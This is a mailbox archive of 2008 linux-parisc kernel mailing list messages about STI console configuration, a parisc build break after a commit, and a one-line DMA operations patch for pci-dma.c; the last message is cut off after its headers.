X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2008 00:37:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 01:37:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JLpL1-0007Yj-PH
	for glpp-linux-parisc@gmane.org; Mon, 04 Feb 2008 01:37:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753774AbYBDAhD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2008 19:37:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754070AbYBDAhD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Feb 2008 19:37:03 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:48194 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754049AbYBDAhA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2008 19:37:00 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 54D1181B2;
	Sun,  3 Feb 2008 18:36:57 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yJJwbllh7jlx; Sun,  3 Feb 2008 18:36:56 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A66D27EE5;
	Sun,  3 Feb 2008 18:36:56 -0600 (CST)
In-Reply-To: <200802040009.m14099EL019300@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.12.3 (2.12.3-1.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:93
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/93>


On Sun, 2008-02-03 at 19:09 -0500, John David Anglin wrote:
> > +#ifdef CONFIG_FB_STI
> 
> Should this be CONFIG_STI_CONSOLE?

No, they're used in drivers/video/console/sticore.c which has a
CONFIG_FB_STI gating it.  Whether it should is another patch matter ....

James



From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix intermittent panics on wide firmware boxes
Date: Sun, 3 Feb 2008 19:46:03 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200802040046.m140k4Io019976@hiauly1.hia.nrc.ca>
References: <1202085416.3318.134.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202085985 18368 80.91.229.12 (4 Feb 2008 00:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2008 00:46:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 01:46:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JLpTu-0000wp-LK
	for glpp-linux-parisc@gmane.org; Mon, 04 Feb 2008 01:46:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754191AbYBDAqO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2008 19:46:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754225AbYBDAqN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Feb 2008 19:46:13 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2861 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754191AbYBDAqN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2008 19:46:13 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m140k48h019977;
	Sun, 3 Feb 2008 19:46:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m140k4Io019976;
	Sun, 3 Feb 2008 19:46:04 -0500 (EST)
In-Reply-To: <1202085416.3318.134.camel@localhost.localdomain> from "James Bottomley" at Feb 3, 2008 06:36:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:94
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/94>

> > Should this be CONFIG_STI_CONSOLE?
> 
> No, they're used in drivers/video/console/sticore.c which has a
> CONFIG_FB_STI gating it.  Whether it should is another patch matter ....

The reason I asked is I tried to apply your change against
2.6.22.16 and ran into problems with undefined references from
drivers/video/console/sticore.c.  However, the build didn't work.
Lost console after the infamous search the FAQ message.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix intermittent panics on wide firmware boxes
Date: Sun, 3 Feb 2008 20:06:51 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200802040106.m1416raZ020342@hiauly1.hia.nrc.ca>
References: <1202085416.3318.134.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202087236 21162 80.91.229.12 (4 Feb 2008 01:07:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2008 01:07:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 02:07:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JLpo8-00053W-Um
	for glpp-linux-parisc@gmane.org; Mon, 04 Feb 2008 02:07:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752902AbYBDBHI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Feb 2008 20:07:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754728AbYBDBHI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Feb 2008 20:07:08 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2867 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752902AbYBDBHH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Feb 2008 20:07:07 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m1416vXU020344;
	Sun, 3 Feb 2008 20:07:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m1416raZ020342;
	Sun, 3 Feb 2008 20:06:53 -0500 (EST)
In-Reply-To: <1202085416.3318.134.camel@localhost.localdomain> from "James Bottomley" at Feb 3, 2008 06:36:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:95
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/95>

> No, they're used in drivers/video/console/sticore.c which has a
> CONFIG_FB_STI gating it.  Whether it should is another patch matter ....

Looking at the Makefile, I see

obj-$(CONFIG_STI_CONSOLE)         += sticon.o sticore.o font.o
and
obj-$(CONFIG_FB_STI)              += sticore.o font.o

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: parisc compile error
Date: Fri, 8 Feb 2008 01:12:32 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20080207231232.GF7198@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1202425955 15888 80.91.229.12 (7 Feb 2008 23:12:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Feb 2008 23:12:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Lameter <clameter@sgi.com>, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 08 00:12:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JNFvI-00051z-KD
	for glpp-linux-parisc@gmane.org; Fri, 08 Feb 2008 00:12:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760341AbYBGXMX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Feb 2008 18:12:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760212AbYBGXMW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Feb 2008 18:12:22 -0500
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:51663 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759274AbYBGXMU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Feb 2008 18:12:20 -0500
Original-Received: from cs181133002.pp.htv.fi (cs181133002.pp.htv.fi [82.181.133.2])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id E0D045BC057;
	Fri,  8 Feb 2008 01:12:18 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.5.17+20080114 (2008-01-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:96 gmane.linux.kernel:636301
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/96>

Commit 9e2779fa281cfda13ac060753d674bbcaa23367e broke parisc:

<--  snip  -->

...
  CC      arch/parisc/kernel/asm-offsets.s
In file included from include/asm/pgtable.h:13,
                 from arch/parisc/kernel/asm-offsets.c:36:
include/linux/mm.h: In function 'is_vmalloc_addr':
include/linux/mm.h:243: error: 'VMALLOC_START' undeclared (first use in this function)
include/linux/mm.h:243: error: (Each undeclared identifier is reported only once
include/linux/mm.h:243: error: for each function it appears in.)
include/linux/mm.h:243: error: 'VMALLOC_END' undeclared (first use in this function)
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1

<--  snip  -->

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed


From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Thu, 7 Feb 2008 18:20:15 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20080207232015.GA11653@phobos.i.cabal.ca>
References: <20080207231232.GF7198@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202426454 17293 80.91.229.12 (7 Feb 2008 23:20:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Feb 2008 23:20:54 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 08 00:21:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JNG3L-0007kP-67
	for glpp-linux-parisc@gmane.org; Fri, 08 Feb 2008 00:21:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762934AbYBGXUU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Feb 2008 18:20:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761809AbYBGXUT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Feb 2008 18:20:19 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:37806 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757049AbYBGXUR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Feb 2008 18:20:17 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 26514178094; Thu,  7 Feb 2008 18:20:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080207231232.GF7198@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:97 gmane.linux.kernel:636310
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/97>

On Fri, Feb 08, 2008 at 01:12:32AM +0200, Adrian Bunk wrote:
> Commit 9e2779fa281cfda13ac060753d674bbcaa23367e broke parisc:
> 
> <--  snip  -->
> 
> ...
>   CC      arch/parisc/kernel/asm-offsets.s
> In file included from include/asm/pgtable.h:13,
>                  from arch/parisc/kernel/asm-offsets.c:36:
> include/linux/mm.h: In function 'is_vmalloc_addr':
> include/linux/mm.h:243: error: 'VMALLOC_START' undeclared (first use in this function)
> include/linux/mm.h:243: error: (Each undeclared identifier is reported only once
> include/linux/mm.h:243: error: for each function it appears in.)
> include/linux/mm.h:243: error: 'VMALLOC_END' undeclared (first use in this function)
> make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
> 

yes, it's in my batch of fixes.

thanks for the reminder.

cheers, kyle

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <clameter@sgi.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Thu, 7 Feb 2008 15:33:07 -0800 (PST)
Lines: 5
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0802071532430.3845@schroedinger.engr.sgi.com>
References: <20080207231232.GF7198@cs181133002.pp.htv.fi>
 <20080207232015.GA11653@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1202427207 19637 80.91.229.12 (7 Feb 2008 23:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Feb 2008 23:33:27 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 08 00:33:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JNGFX-0003gX-UZ
	for glpp-linux-parisc@gmane.org; Fri, 08 Feb 2008 00:33:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758984AbYBGXdS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Feb 2008 18:33:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758223AbYBGXdR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Feb 2008 18:33:17 -0500
Original-Received: from netops-testserver-3-out.sgi.com ([192.48.171.28]:56638 "EHLO
	relay.sgi.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1758922AbYBGXdQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Feb 2008 18:33:16 -0500
Original-Received: from schroedinger.engr.sgi.com (schroedinger.engr.sgi.com [150.166.1.51])
	by netops-testserver-3.corp.sgi.com (Postfix) with ESMTP id 177B190892;
	Thu,  7 Feb 2008 15:33:12 -0800 (PST)
Original-Received: from clameter (helo=localhost)
	by schroedinger.engr.sgi.com with local-esmtp (Exim 3.36 #1 (Debian))
	id 1JNGEt-00010V-00; Thu, 07 Feb 2008 15:33:07 -0800
X-X-Sender: clameter@schroedinger.engr.sgi.com
In-Reply-To: <20080207232015.GA11653@phobos.i.cabal.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:98 gmane.linux.kernel:636319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/98>

On Thu, 7 Feb 2008, Kyle McMartin wrote:

> yes, it's in my batch of fixes.

<big sigh of relief> So I do not have to worry about it?

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Thu, 7 Feb 2008 18:34:52 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20080207233452.GB11653@phobos.i.cabal.ca>
References: <20080207231232.GF7198@cs181133002.pp.htv.fi> <20080207232015.GA11653@phobos.i.cabal.ca> <Pine.LNX.4.64.0802071532430.3845@schroedinger.engr.sgi.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202427313 19921 80.91.229.12 (7 Feb 2008 23:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Feb 2008 23:35:13 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Adrian Bunk <bunk@kernel.org>,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Lameter <clameter@sgi.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 08 00:35:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JNGH7-0004G3-Bz
	for glpp-linux-parisc@gmane.org; Fri, 08 Feb 2008 00:35:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758208AbYBGXez (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Feb 2008 18:34:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761892AbYBGXez
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 Feb 2008 18:34:55 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:37855 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758208AbYBGXey (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Feb 2008 18:34:54 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 85BF9178094; Thu,  7 Feb 2008 18:34:52 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0802071532430.3845@schroedinger.engr.sgi.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:99 gmane.linux.kernel:636321
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/99>

On Thu, Feb 07, 2008 at 03:33:07PM -0800, Christoph Lameter wrote:
> On Thu, 7 Feb 2008, Kyle McMartin wrote:
> 
> > yes, it's in my batch of fixes.
> 
> <big sigh of relief> So I do not have to worry about it?
> 

haha no. i don't expect people to have to untangle the mess of includes
that is <asm-parisc/*.h> :)

cheers, kyle

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <12o3l@tiscali.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH?][arch/parisc/kernel/pci-dma.c] pcxl_dma_ops.alloc_noncoherent
 = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 17:23:33 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <47B07685.5000606@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1202747162 21417 80.91.229.12 (11 Feb 2008 16:26:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:26:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, lkml <linux-kernel@vger.kernel.org>
To: kyle@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	grundler@parisc-linux.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757658AbYBKQYc@vger.kernel.org Mon Feb 11 17:26:15 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1757658AbYBKQYc@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JObTa-00041h-VP
	for glk-linux-kernel-3@gmane.org; Mon, 11 Feb 2008 17:25:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757658AbYBKQYc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 11 Feb 2008 11:24:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757248AbYBKQYG
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 11 Feb 2008 11:24:06 -0500
Original-Received: from smtp-out0.tiscali.nl ([195.241.79.175]:55312 "EHLO
	smtp-out0.tiscali.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756967AbYBKQYE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 11 Feb 2008 11:24:04 -0500
Original-Received: from [82.171.187.43] (helo=[192.168.1.2])
	by smtp-out0.tiscali.nl with esmtp (Tiscali http://www.tiscali.nl)
	id 1JObRU-0005h2-D1; Mon, 11 Feb 2008 17:23:40 +0100
User-Agent: Thunderbird 2.0.0.9 (X11/20071031)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:637917 gmane.linux.ports.parisc:100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/100>

duplicate pa11_dma_alloc_consistent; more appropriate appears
pa11_dma_alloc_noncoherent here. 

Not tested, please confirm that this fix is correct
---
fix noncoherent allocation

Signed-off-by: Roel Kluin <12o3l@tiscali.nl>
---
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 9448d4e..0e8b71f 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -549,7 +549,7 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc_consistent =	pa11_dma_alloc_consistent,
-	.alloc_noncoherent =	pa11_dma_alloc_consistent,
+	.alloc_noncoherent =	pa11_dma_alloc_noncoherent,
 	.free_consistent =	pa11_dma_free_consistent,
 	.map_single =		pa11_dma_map_single,
 	.unmap_single =		pa11_dma_unmap_single,

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH?][arch/parisc/kernel/pci-dma.c] pcxl_dma_ops.alloc_noncoherent = pa11_dma_alloc_consistent?
Date: Mon, 11 Feb 2008 09:42:15 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20080211164215.GM5299@parisc-linux.org>
References: <47B07685.5000606@tiscali.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202748163 25402 80.91.229.12 (11 Feb 2008 16:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 16:42:43 +0000 (UTC)
Cc: kyle@parisc-linux.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, lkml <linux-kernel@vger.kernel.org>
To: Roel Kluin <12o3l@tiscali.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 17:43:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JObjz-0002Lz-9d
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 17:42:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752520AbYBKQmR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 11:42:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755675AbYBKQmR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 11:42:17 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:52722 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750940AbYBKQmQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 11:42:16 -0500
